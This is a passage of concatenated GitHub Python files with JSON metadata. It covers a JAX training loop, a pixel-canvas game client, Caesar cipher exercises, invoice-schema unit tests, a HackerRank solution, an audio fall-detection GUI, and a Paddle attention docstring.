original paper.\n \"\"\"\n print(\"## Learning the lagrangian\")\n training_data = (self.train_dataset.npx, self.train_dataset.npy)\n test_data = (self.test_dataset.npx, self.test_dataset.npy)\n \n opt_init, opt_update, get_params = optimizers.adam(self.optimizer_parameters)\n opt_state = opt_init(self.init_params)\n\n @jax.jit\n def update_derivative(i, opt_state, batch):\n params = get_params(opt_state)\n return opt_update(i, jax.grad(self.loss_func)(params, batch), opt_state)\n\n train_losses = []\n test_losses = []\n\n for epoch in tqdm(range(num_epochs), \"Epochs progress\"):\n if epoch % test_every == 0:\n params = get_params(opt_state)\n train_loss = self.loss_func(params, training_data)\n train_losses.append(train_loss)\n test_loss = self.loss_func(params, test_data)\n test_losses.append(test_loss)\n\n opt_state = update_derivative(epoch, opt_state, training_data)\n \n params = get_params(opt_state)\n\n self.train_losses = train_losses\n self.test_losses = test_losses\n self.params = params\n\n return params, train_losses, test_losses","repo_name":"yanalish/SymDLNN","sub_path":"model_new_loss.py","file_name":"model_new_loss.py","file_ext":"py","file_size_in_byte":14886,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"3521331682","text":"from PIL import Image\nfrom termcolor import colored\nfrom pprint import pprint\nfrom colorutils import Color, ArithmeticModel\nfrom math import sqrt, atan\nimport api\nfrom time import sleep\n\n\ndef check_current():\n info = api.get_info()\n\n if (info['status'] == 200):\n image = Image.open(api.get_image_bytes(\n info['response']['canvas']['url']))\n image.save('./curr.png')\n\n width, height = image.size\n print(colored('image size: ', 'blue'),\n colored(f'[{height}, {width}] - [h, w]', 'yellow'))\n\n colors = [[None for w in range(width)] for h in range(height)]\n\n for h in range(0, height, 1):\n for w in range(0, width, 1):\n colors[h][w] = Color(\n image.getpixel((w, h)), arithmetic=ArithmeticModel.BLEND)\n\n return colors\n\n\ndef load_image():\n image = Image.open('../images/2.png')\n width, height = image.size\n print(colored('image size: ', 'blue'),\n colored(f'[{width}, {height}] - [w, h]', 'yellow'))\n\n colors = [[None for w in range(width)] for h in range(height)]\n\n for h in range(0, height, 1):\n for w in range(0, width, 1):\n colors[h][w] = Color(\n image.getpixel((w, h)), arithmetic=ArithmeticModel.BLEND)\n\n return colors\n\n\ndef save_image(colors_arr, name='image'):\n img = Image.new('RGB', [len(colors_arr[0]), len(colors_arr)], 255)\n data = img.load()\n\n for h in range(0, len(colors_arr), 1):\n for w in range(0, len(colors_arr[0]), 1):\n data[w, h] = colors_arr[h][w].rgb\n\n img.save(name + '.png')\n\n\ndef unpack_rgb(color):\n r = 0xFF & (color >> 16)\n g = 0xFF & (color >> 8)\n b = 0xFF & color\n return r, g, b\n\n\ndef test(color, image, current_image, count, save_image_name=None):\n colors_arr = [[None for w in range(len(image[0]))]\n for h in range(len(image))]\n\n # white = sqrt((255) ** 2+(255) ** 2+(255) ** 2)\n\n def d(c1, c2):\n r1, g1, b1 = c1.rgb\n r2, g2, b2 = c2.rgb\n\n return sqrt((r2 - r1) ** 2 + (g2 - g1) ** 2 + (b2 - b1) ** 2)\n\n # def p(d):\n # return d / white\n\n distances = []\n\n for h in range(0, len(image), 1):\n for w in range(0, len(image[0]), 1):\n r, g, b = image[h][w]\n if (r == 255 and g == 255 and b == 255):\n continue\n d_img = d(image[h][w], color)\n d_curr = d(current_image[h][w], color)\n if (d_img < d_curr):\n distances.append({\n 'positions': {\n 'h': h,\n 'w': w\n },\n 'distance': d_img,\n })\n\n distances = sorted(distances, key=lambda d: d['distance'])[\n 0:count]\n\n if (save_image_name != None):\n save_image(colors_arr, save_image_name)\n\n return distances\n\n# x - w\n# y - h\n\n\ndef shoot_calc(h, w, image_w, image_h):\n # 425 = ((ma) ^ 2 * sin(2 *45)) / 9.80665\n # 425 = (m^2 a^2 * 0.8939966636) / 9.80665\n # 4167.82625 = m^2 a^2 * 0.8939966636\n # 4662.015441105501 = m^2 a^2\n\n # L = 2v₀²sin(α)cos(α) / g\n # 425 = 2 v^2 * 0.8509035245341184 * 0.5253219888177297 / 9.80665\n # 4167.82625 = 2 v^2 * 0.8509035245341184 * 0.5253219888177297\n # 4662.0154411025915 = v^2\n #\n # F = ma = m (v^2 - u^2) / (2s)\n # F = 1 (v^2) / 2s\n # F = 4662.0154411025915 / 850\n # F = 5.48472404835599\n #\n #\n #\n # s = (v^2 /g) * sin(2 * 45)\n # v = 64.56Начальная скорость (м/с):\n\n # a = (v * sin(α)) / t,\n # t = (2 * v * sin(α)) / g\n # a = (v * sin(α)) / (2 * v * sin(α)) / g\n # a = 54.93433154392269 / 109.86866308784538 / 9.80665\n # a = 0.050985810648896415\n\n cat1 = abs(image_w / 2 - w)\n cat2 = 300 + h\n # cat2 = 300 + h\n\n # 340 = 2\n # 200 / 340\n\n # force = (340 / sqrt(cat1 ** 2 + cat2 ** 2)) / 0.5\n force = sqrt(cat1 ** 2 + cat2 ** 2) / 170\n\n # angle = atan(cat1 / cat2) * 180 / 3.1415926535898\n angle = atan(cat2 / cat1)\n print(cat1, cat2, angle)\n\n return {\n 'angleHorizontal': '{:.6f}'.format(-angle if w < image_w / 2 else angle),\n 'angleVertical': 45,\n 'power': '{:.6f}'.format(force)\n }\n\n\nimage = load_image()\nsended_image = [[Color((255, 255, 255)) for w in range(len(image[0]))]\n for h in range(len(image))]\n\n\ndef main():\n curr_img = check_current()\n\n # colors = [[None for w in range(len(image[0]))] for h in range(len(image))]\n\n # for h in range(0, len(image), 1):\n # for w in range(0, len(image[0]), 1):\n # colors[h][w] = image[h][w] + curr_img[h][w]\n\n # save_image(colors)\n\n color_list = api.get_colors_list()\n pprint(color_list)\n if (len(color_list['response']) == 0):\n # if (True):\n new_colors_response = api.generate_colors()\n tick = new_colors_response['info']['tick']\n colors = new_colors_response['response']\n\n min_dist = float('inf')\n min_color = ''\n min_color_key = ''\n coords = []\n\n for key in colors:\n color = Color(unpack_rgb(colors[key]['color']),\n arithmetic=ArithmeticModel.BLEND)\n res = test(color, image, curr_img, colors[key]['amount'])\n\n print(res)\n\n if (res[0]['distance'] < min_dist):\n min_dist = res[0]['distance']\n min_color_key = key\n coords = res\n min_color = colors[key]['color']\n\n print(coords)\n\n res = api.pick_color(min_color_key, tick)\n\n sleep(0.2)\n\n for i in range(len(coords)):\n shoot_data = shoot_calc(\n coords[i]['positions']['h'], coords[i]['positions']['w'], len(image), len(image[0]))\n shoot_data[f'colors[{min_color}]'] = 1\n\n shoot = api.shoot(shoot_data)\n pprint(shoot_data)\n pprint(shoot)\n if (shoot['status'] == 200):\n sended_image[coords[i]['positions']\n ['h']][coords[i]['positions']['w']] = Color(unpack_rgb(min_color))\n\n sleep_time = shoot['info']['ns'] / (10 ** 9)\n print(colored(f'sleep {sleep_time}s', 'blue'))\n\n if (sleep_time > 0):\n sleep(sleep_time)\n else:\n min_dist = float('inf')\n min_color = ''\n coords = []\n\n for key in color_list['response']:\n color = Color(unpack_rgb(int(key)),\n arithmetic=ArithmeticModel.BLEND)\n\n res = test(color, image, curr_img, color_list['response'][key])\n\n if (res[0]['distance'] < min_dist):\n min_dist = res[0]['distance']\n coords = res\n min_color = key\n\n for i in range(len(coords)):\n shoot_data = shoot_calc(\n coords[i]['positions']['h'], coords[i]['positions']['w'], len(image), len(image[0]))\n shoot_data[f'colors[{min_color}]'] = 1\n\n # continue\n shoot = api.shoot(shoot_data)\n pprint(shoot_data)\n pprint(shoot)\n if (shoot['status'] == 200):\n sended_image[coords[i]['positions']\n ['h']][coords[i]['positions']['w']] = Color(unpack_rgb(min_color))\n\n sleep_time = shoot['info']['ns'] / (10 ** 9)\n print(colored(f'sleep {sleep_time}s', 'blue'))\n if (sleep_time > 0):\n sleep(sleep_time)\n\n save_image(sended_image, 'sanded')\n\n\nfor i in range(100):\n main()\n","repo_name":"vpasport/art-game","sub_path":"python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"3231772104","text":"alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\r\n\r\ndirection = input(\"Type 'encode' to encrypt, type 'decode' to decrypt:\\n\")\r\ntext = input(\"Type your message:\\n\").lower()\r\nshift = int(input(\"Type the shift number:\\n\"))\r\n\r\ndef encrypt(plain_text, shift_amount):\r\n cipher_text = \"\" \r\n for idx in range(0, len(plain_text)):\r\n new_idx = alphabet.index(plain_text[idx]) + shift_amount\r\n if new_idx >= len(alphabet):\r\n new_idx = new_idx - len(alphabet)\r\n cipher_text += alphabet[new_idx]\r\n print(f\"The encoded text is {cipher_text}\")\r\n\r\n#TODO-1: Create a different function called 'decrypt' that takes the 'text' and 'shift' as inputs.\r\ndef decrypt(cipher_text, shift_amount):\r\n plain_text = \"\" \r\n for idx in range(0, len(cipher_text)):\r\n new_idx = alphabet.index(cipher_text[idx]) - shift_amount\r\n plain_text += alphabet[new_idx]\r\n print(f\"The decoded text is {plain_text}\")\r\n\r\n #TODO-2: Inside the 'decrypt' function, shift each letter of the 'text' *backwards* in the alphabet by the shift amount and print the decrypted text. \r\n #e.g. \r\n #cipher_text = \"mjqqt\"\r\n #shift = 5\r\n #plain_text = \"hello\"\r\n #print output: \"The decoded text is hello\"\r\n\r\n\r\n#TODO-3: Check if the user wanted to encrypt or decrypt the message by checking the 'direction' variable. Then call the correct function based on that 'drection' variable. You should be able to test the code to encrypt *AND* decrypt a message.\r\nif direction == \"encode\":\r\n encrypt(plain_text=text, shift_amount=shift)\r\nelif direction == \"decode\":\r\n decrypt(cipher_text=text, shift_amount=shift)\r\nelse:\r\n print(\"You entered a wrong word.Crushed!\")\r\n\r\n\r\n#make the code better!!!\r\n\r\nalphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\r\n\r\ndirection = input(\"Type 'encode' to encrypt, type 'decode' to decrypt:\\n\")\r\ntext = input(\"Type your message:\\n\").lower()\r\nshift = int(input(\"Type the shift number:\\n\"))\r\n\r\ndef caesar(input_direction, input_text, shift_amount):\r\n output_text = \"\"\r\n for letter in input_text:\r\n position = alphabet.index(letter)\r\n if input_direction == \"encode\":\r\n new_position = position + shift_amount\r\n if new_position >= len(alphabet):\r\n new_position = new_position - len(alphabet)\r\n elif input_direction == \"decode\":\r\n new_position = position - shift_amount\r\n output_text += alphabet[new_position]\r\n print(f\"The {input_direction}d text is {output_text}\")\r\n\r\ncaesar(input_direction=direction, input_text=text, shift_amount=shift)\r\n\r\n\r\n#make it better and better and debug a little problem great\r\nalphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\r\n\r\ndirection = input(\"Type 'encode' to encrypt, type 'decode' to decrypt:\\n\")\r\ntext = input(\"Type your message:\\n\").lower()\r\nshift = int(input(\"Type the shift number:\\n\"))\r\n\r\ndef caesar(input_direction, input_text, shift_amount):\r\n output_text = \"\"\r\n # this is very interesting be debug this ,because the shift_amount was changed every time we into the loop!!\r\n if input_direction == \"decode\":\r\n shift_amount *= -1\r\n for letter in input_text:\r\n position = alphabet.index(letter)\r\n new_position = position + shift_amount\r\n if new_position >= len(alphabet):\r\n new_position -= len(alphabet)\r\n # if input_direction == \"encode\":\r\n # new_position = position + shift_amount\r\n # if new_position >= len(alphabet):\r\n # new_position = new_position - len(alphabet)\r\n # elif input_direction == \"decode\":\r\n # new_position = position - shift_amount\r\n output_text += alphabet[new_position]\r\n print(f\"The {input_direction}d text is {output_text}\")\r\n\r\ncaesar(input_direction=direction, input_text=text, shift_amount=shift)\r\n\r\n\r\n\r\n#improve user experience!!\r\nalphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\r\n\r\ndef caesar(start_text, shift_amount, cipher_direction):\r\n end_text = \"\"\r\n if cipher_direction == \"decode\":\r\n shift_amount *= -1\r\n for char in start_text:\r\n #TODO-3: What happens if the user enters a number/symbol/space?\r\n #Can you fix the code to keep the number/symbol/space when the text is encoded/decoded?\r\n #e.g. start_text = \"meet me at 3\"\r\n #end_text = \"•••• •• •• 3\"\r\n if char not in alphabet:\r\n end_text += char\r\n else:\r\n position = alphabet.index(char)\r\n new_position = position + shift_amount\r\n if new_position >= len(alphabet):\r\n new_position -= len(alphabet)\r\n end_text += alphabet[new_position]\r\n \r\n print(f\"Here's the {cipher_direction}d result: {end_text}\")\r\n\r\n#TODO-1: Import and print the logo from art.py when the program starts.\r\nfrom art import logo\r\n#TODO-4: Can you figure out a way to ask the user if they want to restart the cipher program?\r\nprint(logo)\r\nrestart_bool = True\r\n#e.g. Type 'yes' if you want to go again. Otherwise type 'no'.\r\n#If they type 'yes' then ask them for the direction/text/shift again and call the caesar() function again?\r\n#Hint: Try creating a while loop that continues to execute the program if the user types 'yes'. \r\nwhile restart_bool:\r\n direction = input(\"Type 'encode' to encrypt, type 'decode' to decrypt:\\n\")\r\n text = input(\"Type your message:\\n\").lower()\r\n shift = int(input(\"Type the shift number:\\n\"))\r\n #TODO-2: What if the user enters a shift that is greater than the number of letters in the alphabet?\r\n if shift >= len(alphabet):\r\n shift %= len(alphabet)\r\n \r\n caesar(start_text=text, shift_amount=shift, cipher_direction=direction)\r\n restart = input(\"Type 'yes' if you want to go again. Otherwise type 'no'.\\n\").lower()\r\n if restart == \"no\":\r\n restart_bool = False\r\n print(\"Goodbye!\")","repo_name":"sherryuuer/application-development","sub_path":"littlePG/caesar.py","file_name":"caesar.py","file_ext":"py","file_size_in_byte":6212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74713489677","text":"# -*- coding: utf-8 -*-\n# * Authors:\n# * TJEBBES Gaston \n# * Arezki Feth ;\n# * Miotte Julien ;\nimport datetime\nimport colander\nimport pytest\nfrom autonomie.forms.tasks.estimation import (\n get_add_edit_estimation_schema,\n get_add_edit_paymentline_schema,\n)\n\n\ndef test_payment_line_description():\n schema = get_add_edit_paymentline_schema(includes=('description',))\n schema = schema.bind()\n value = {'description': \"test\\n\"}\n assert schema.deserialize(value) == value\n value = {'description': \"\\n\"}\n with pytest.raises(colander.Invalid):\n schema.deserialize(value)\n\n\ndef test_payment_line_amount():\n schema = get_add_edit_paymentline_schema(includes=('amount',))\n schema = schema.bind()\n\n value = {'amount': 12.5}\n assert schema.deserialize(value) == {'amount': 1250000}\n\n value = {'amount': 'a'}\n with pytest.raises(colander.Invalid):\n schema.deserialize(value)\n value = {}\n with pytest.raises(colander.Invalid):\n schema.deserialize(value)\n\n\ndef test_payment_line_date():\n import datetime\n schema = get_add_edit_paymentline_schema(includes=('date',))\n schema = schema.bind()\n value = {'date': datetime.date.today().isoformat()}\n assert schema.deserialize(value) == {'date': datetime.date.today()}\n value = {}\n assert schema.deserialize(value) == value\n\n\ndef test_payment_line_task_id():\n schema = get_add_edit_paymentline_schema(includes=('task_id',))\n value = {'task_id': 5}\n assert schema.deserialize(value) == value\n value = {}\n with pytest.raises(colander.Invalid):\n schema.deserialize(value)\n\n\ndef test_payment_line():\n schema = get_add_edit_paymentline_schema()\n schema = schema.bind()\n\n value = {\n 'task_id': 5,\n 'date': datetime.date.today().isoformat(),\n 'amount': 12.5,\n 'description': u\"Description\"\n }\n expected_value = {\n 'task_id': 5,\n 'date': datetime.date.today(),\n 'amount': 1250000,\n 'description': u\"Description\",\n 'order': 1\n }\n assert schema.deserialize(value) == expected_value\n\n\ndef test_estimation_signed_status():\n schema = get_add_edit_estimation_schema(includes=('signed_status',))\n schema = schema.bind()\n\n value = {'signed_status': u\"signed\"}\n assert schema.deserialize(value) == value\n\n value = {'signed_status': u\"error\"}\n with pytest.raises(colander.Invalid):\n schema.deserialize(value)\n\n\ndef test_estimation_deposit():\n schema = get_add_edit_estimation_schema(includes=('deposit',))\n schema = schema.bind()\n\n value = {'deposit': 15}\n assert schema.deserialize(value) == value\n\n value = {'deposit': 150}\n with pytest.raises(colander.Invalid):\n schema.deserialize(value)\n\n value = {'deposit': -1}\n with pytest.raises(colander.Invalid):\n schema.deserialize(value)\n\n\ndef test_estimation_paymentDisplay():\n schema = get_add_edit_estimation_schema(includes=('paymentDisplay',))\n schema = schema.bind()\n\n value = {'paymentDisplay': u'SUMMARY'}\n assert schema.deserialize(value) == value\n\n value = {}\n assert schema.deserialize(value) == {'paymentDisplay': u'NONE'}\n\n value = {'paymentDisplay': u'ERROR'}\n with pytest.raises(colander.Invalid):\n schema.deserialize(value)\n\n\ndef test_estimation_payment_lines():\n schema = get_add_edit_estimation_schema(includes=('payment_lines',))\n schema = schema.bind()\n\n value = {'payment_lines': []}\n with pytest.raises(colander.Invalid):\n schema.deserialize(value)\n\n value = {}\n with pytest.raises(colander.Invalid):\n schema.deserialize(value)\n\n value = {'payment_lines': [\n {\n 'task_id': 5,\n 'date': datetime.date.today().isoformat(),\n 'amount': 12.5,\n 'description': u\"Description\"\n }\n ]}\n expected_value = {\n 'payment_lines': [\n {\n 'task_id': 5,\n 'date': datetime.date.today(),\n 'amount': 1250000,\n 'description': u\"Description\",\n 'order': 1\n }\n ]\n }\n assert schema.deserialize(value) == expected_value\n\n\ndef test_estimation(\n config, unity, tva, product, request_with_config, estimation\n):\n schema = get_add_edit_estimation_schema()\n config.testing_securitypolicy(\n userid=\"test\",\n groupids=('admin',),\n permissive=True\n )\n\n request_with_config.context = estimation\n schema = schema.bind(request=request_with_config)\n\n value = {\n \"name\": u\"Devis 1\",\n 'date': datetime.date.today().isoformat(),\n 'address': u\"adress\",\n \"description\": u\"description\",\n \"paymentDisplay\": u\"SUMMARY\",\n \"payment_conditions\": u\"Réception de facture\",\n \"deposit\": 5,\n \"signed_status\": \"signed\",\n 'line_groups': [\n {\n 'task_id': 5,\n 'title': u\"title\",\n 'description': u\"description\",\n \"order\": 5,\n 'lines': [\n {\n 'cost': 15,\n 'tva': 20,\n 'description': u'description',\n 'unity': u\"Mètre\",\n \"quantity\": 5,\n \"order\": 2,\n \"product_id\": product.id\n }\n ]\n }\n ],\n 'payment_lines': [\n {\n 'task_id': 5,\n 'date': datetime.date.today().isoformat(),\n 'amount': 12.5,\n 'description': u\"Description\",\n \"order\": 8\n }\n ],\n }\n expected_value = {\n \"name\": u\"Devis 1\",\n 'date': datetime.date.today(),\n 'address': u\"adress\",\n \"description\": u\"description\",\n \"paymentDisplay\": u\"SUMMARY\",\n \"deposit\": 5,\n \"signed_status\": \"signed\",\n 'line_groups': [\n {\n 'task_id': 5,\n 'title': u\"title\",\n 'description': u\"description\",\n \"order\": 5,\n 'lines': [\n {\n 'cost': 1500000,\n 'tva': 2000,\n 'description': u'description',\n 'unity': u\"Mètre\",\n \"quantity\": 5.0,\n \"order\": 2,\n \"product_id\": product.id\n }\n ]\n }\n ],\n 'payment_lines': [\n {\n 'task_id': 5,\n 'date': datetime.date.today(),\n 'amount': 1250000,\n 'description': u\"Description\",\n \"order\": 8\n }\n ],\n }\n # Check those values are valid\n result = schema.deserialize(value)\n for key, value in expected_value.items():\n assert result[key] == value\n\n\ndef test_validate_estimation_base_fail(estimation, request_with_config):\n from autonomie.forms.tasks.estimation import validate_estimation\n request_with_config.context = estimation\n with pytest.raises(colander.Invalid):\n validate_estimation(estimation, request_with_config)\n\n\ndef test_validate_full_estimation(\n dbsession,\n estimation,\n request_with_config,\n task_line_group,\n task_line,\n payment_line\n):\n\n from autonomie.forms.tasks.estimation import validate_estimation\n estimation.date = datetime.date.today()\n estimation.description = u\"Description\"\n estimation.paymentDisplay = u\"SUMMARY\"\n estimation.deposit = 5\n estimation.signed_status = \"signed\"\n task_line_group.task_id = estimation.id\n payment_line.task_id = estimation.id\n estimation.line_groups = [task_line_group]\n estimation.payment_conditions = \"Test\"\n estimation.payment_lines = [payment_line]\n request_with_config.context = estimation\n validate_estimation(estimation, request_with_config)\n","repo_name":"CroissanceCommune/autonomie","sub_path":"autonomie/tests/forms/tasks/test_estimation.py","file_name":"test_estimation.py","file_ext":"py","file_size_in_byte":8058,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"29"} +{"seq_id":"7896412250","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the beautifulDays function below.\ndef beautifulDays(i, j, k):\n nbr = i\n count = 0\n while nbr <= j:\n nbrReversed = int(str(nbr)[::-1])\n if abs(nbr - nbrReversed) % k == 0:\n count += 1\n nbr += 1\n return count\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n ijk = input().split()\n\n i = int(ijk[0])\n\n j = int(ijk[1])\n\n k = int(ijk[2])\n\n result = beautifulDays(i, j, k)\n\n fptr.write(str(result) + '\\n')\n\n fptr.close()\n","repo_name":"LiudmilaA/Projects","sub_path":"HackerRank/beautiful-days-at-the-movies/beautiful-days-at-the-movies.py","file_name":"beautiful-days-at-the-movies.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"40378826597","text":"import tkinter as tk\nimport yagmail\n\nfrom tkinter.filedialog import askopenfilename\nimport h5py\nimport pyaudio\nfrom keras.models import load_model\nimport numpy as np\nfrom panotti.datautils import *\nimport preprocess_data\n\n# recording configs\n# Default channels are 8 for Matrix Creator and recording seconds are 5\nCHUNK = 2048\nFORMAT = pyaudio.paInt16\nCHANNELS = 8\nRATE = 96000\nRECORD_SECONDS = 5\nWEIGHTS_PATH = 'weights.hdf5'\nSR = 44100\n# SR = None\nMAX_SHAPE = (8, 220148)\nMELS = 96\nMONO = False\nPHASE = False\n\n\ndef load_model_ext():\n global model, class_names\n status.set('loading model')\n\n model = load_model(WEIGHTS_PATH) # load the model normally\n\n # --- Now load it again and look for additional useful metadata\n f = h5py.File(WEIGHTS_PATH, mode='r')\n\n # initialize class_names with numbers (strings) in case hdf5 file doesn't have any\n output_length = model.layers[-1].output_shape[1]\n class_names = [str(x) for x in range(output_length)]\n if 'class_names' in f.attrs:\n class_names = f.attrs.get('class_names').tolist()\n class_names = [x.decode() for x in class_names]\n f.close()\n status.set('model loaded')\n\n\ndef send_email(contents, attachments=None):\n # receiver = 'e0267395@u.nus.edu'\n receiver = \"e0267856@u.nus.edu\"\n sender = \"mtechke30fyp@gmail.com\"\n yag = yagmail.SMTP(sender)\n yag.send(\n to=receiver,\n subject=\"Results of fall detection\",\n contents=contents,\n attachments=attachments,\n )\n\n\ndef predict_one():\n X = preprocess(frames)\n y_proba = model.predict(X, batch_size=1, verbose=False)[0]\n answer = class_names[np.argmax(y_proba)]\n status.set(answer)\n if answer == 'rndy' or answer == 'rndychair':\n email_content = 'FALL DETECTED'\n send_email(email_content)\n\n\ndef preprocess(signal, resample=SR, mono=MONO, max_shape=MAX_SHAPE, mels=MELS, phase=PHASE):\n\n sr = None\n if (resample is not None):\n sr = resample\n\n # signal, sr = load_audio(signal, mono=mono, sr=sr)\n\n # Reshape / pad so all output files have same shape\n # either the signal shape or a leading one\n shape = preprocess_data.get_canonical_shape(signal)\n if (shape != signal.shape): # this only evals to true for mono\n signal = np.reshape(signal, shape)\n padded_signal = np.zeros(max_shape)\n use_shape = list(max_shape[:])\n use_shape[0] = min(shape[0], max_shape[0])\n use_shape[1] = min(shape[1], max_shape[1])\n #print(\", use_shape = \",use_shape)\n padded_signal[:use_shape[0], :use_shape[1]\n ] = signal[:use_shape[0], :use_shape[1]]\n\n layers = make_layered_melgram(padded_signal, sr, mels=mels, phase=phase)\n\n return layers\n\n\ndef open_file():\n \"\"\"Open a file for editing.\"\"\"\n filepath = askopenfilename(\n filetypes=[(\"Text Files\", \"*.txt\"), (\"All Files\", \"*.*\")]\n )\n if not filepath:\n return\n txt_edit.delete(\"1.0\", tk.END)\n with open(filepath, \"r\") as input_file:\n text = input_file.read()\n txt_edit.insert(tk.END, text)\n window.title(\"Simple Text Editor - {}\".format(filepath))\n\n\ndef record():\n global frames\n # create & configure microphone\n mic = pyaudio.PyAudio()\n stream = mic.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK)\n\n status.set(\"* recording\")\n\n # read & store microphone data per frame read\n frames = []\n for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n data = stream.read(CHUNK)\n np_data = np.frombuffer(data, dtype=np.int16)\n frames.append(np_data)\n\n status.set(\"* done recording\")\n\n # kill the mic and recording\n stream.stop_stream()\n stream.close()\n mic.terminate()\n\n frames = np.array(frames)\n\n\nif __name__ == \"__main__\":\n window = tk.Tk()\n window.title(\"Fall Detection Demo\")\n window.rowconfigure(0, minsize=200, weight=1)\n window.columnconfigure(1, minsize=200, weight=1)\n\n # text\n fr_text = tk.Frame(window, bg='white')\n status = tk.StringVar()\n heading = tk.Label(fr_text, text='Status', font=(\n \"Helvetica\", 16), anchor=tk.W, bg='white')\n\n text_display = tk.Label(fr_text, textvariable=status, bg='white')\n\n # buttons\n fr_buttons = tk.Frame(window, relief=tk.RAISED, bd=2)\n btn_open = tk.Button(fr_buttons, text=\"Open\", command=open_file)\n btn_save = tk.Button(fr_buttons, text=\"Record Audio\", command=record)\n btn_load = tk.Button(\n fr_buttons, text=\"Load RasberryNet\", command=load_model_ext)\n btn_infer = tk.Button(fr_buttons, text='Predict', command=predict_one)\n btn_open.grid(row=0, column=0, sticky=\"ew\", padx=5, pady=5)\n btn_save.grid(row=1, column=0, sticky=\"ew\", padx=5)\n btn_load.grid(row=2, column=0, sticky=\"ew\", padx=5)\n btn_infer.grid(row=3, column=0, sticky=\"ew\", padx=5)\n fr_buttons.grid(row=0, column=0, sticky=\"ns\")\n\n fr_text.grid(row=0, column=1, sticky=\"nsew\")\n heading.grid(row=0, column=1, sticky=\"ew\")\n text_display.grid(row=1, column=1, sticky=\"nsew\")\n\n window.mainloop()\n","repo_name":"Stoic-Carp/Audio_Based_Fall_Detection","sub_path":"demo_gui.py","file_name":"demo_gui.py","file_ext":"py","file_size_in_byte":5148,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"36020507501","text":"import math\n\nfrom paddle import _C_ops\nfrom paddle.framework import LayerHelper, in_dynamic_mode\n\n\ndef variable_length_memory_efficient_attention(\n query,\n key,\n value,\n seq_lens,\n kv_seq_lens,\n mask=None,\n scale=None,\n causal=False,\n):\n \"\"\"\n Cutlass Memory Efficient Variable Attention.\n This method requires SM_ARCH in sm70, sm75, sm80.\n\n Args:\n query (Tensor): The Query Tensor. Its shape is [batchsize, seq_len, num_head, head_size].\n key (Tensor): The Key Tensor. Its shape is [batchsize, seq_len, num_head, head_size].\n value (Tensor): The Value Tensor. Its shape is [batchsize, seq_len, num_head, head_size].\n seq_lens (Tensor): The sequence lengths of the sequences in the batch, used to index query. Its shape is [batchsize, 1].\n kv_seq_lens (Tensor): The sequence lengths of the sequences in the batch, used to index key and value. Its shape is [batchsize, 1].\n mask (Tensor): The Mask Tensor. Its shape is [batchsize, 1, query_seq_len, key_seq_len].\n scale (Float): The attention matrix's scale. Default is sqrt(1.0 / head_size).\n causal (Bool): Whether causal masking is used or not. Default is False.\n Returns:\n Tensor: the output Tensor.\n\n Examples:\n .. code-block:: python\n\n # required: gpu\n import math\n import paddle\n from paddle.incubate.nn.functional import variable_length_memory_efficient_attention\n\n batch = 1\n num_head = 8\n seq_len = 256\n head_size = 32\n\n dtype = paddle.float16\n\n query = paddle.randn([batch, num_head, seq_len, head_size], dtype=dtype)\n key = paddle.randn([batch, num_head, seq_len, head_size], dtype=dtype)\n value = paddle.randn([batch, num_head, seq_len, head_size], dtype=dtype)\n seq_lens = paddle.to_tensor([seq_len, ] * batch, dtype='int32')\n mask = paddle.randn([batch, 1, seq_len, seq_len], dtype=dtype)\n\n scale = float(1.0 / math.sqrt(head_size))\n\n def naive_attention_impl(query, key, value, mask, scale):\n qk_res = paddle.matmul(query, key, transpose_y=True)\n attention = qk_res * scale\n attention = attention + mask\n softmax_result = paddle.nn.functional.softmax(attention, -1)\n result = paddle.matmul(softmax_result, value)\n return result\n\n out = naive_attention_impl(query, key, value, mask, scale)\n # equals to: out = variable_length_memory_efficient_attention(query, key, value, seq_lens, seq_lens, mask, scale)\n\n print(out.shape) # [batch, seq_len, num_head, head_size]\n \"\"\"\n if scale is None:\n head_size = query.shape[3]\n scale = float(1.0 / math.sqrt(head_size))\n\n if in_dynamic_mode():\n return _C_ops.variable_length_memory_efficient_attention(\n query, key, value, seq_lens, kv_seq_lens, mask, scale, causal\n )\n\n helper = LayerHelper(\n 'variable_length_memory_efficient_attention', **locals()\n )\n out = helper.create_variable_for_type_inference(dtype=query.dtype)\n helper.append_op(\n type='variable_length_memory_efficient_attention',\n inputs={\n 'query': query,\n 'key': key,\n 'value': value,\n 'seq_lens': seq_lens,\n 'kv_seq_lens': kv_seq_lens,\n \"mask\": mask,\n },\n attrs={\"scale\": scale, \"causal\": causal},\n outputs={'out': out},\n )\n return out\n","repo_name":"PaddlePaddle/Paddle","sub_path":"python/paddle/incubate/nn/functional/variable_length_memory_efficient_attention.py","file_name":"variable_length_memory_efficient_attention.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","stars":21032,"dataset":"github-code","pt":"29"} +{"seq_id":"18118573643","text":"from django.conf import 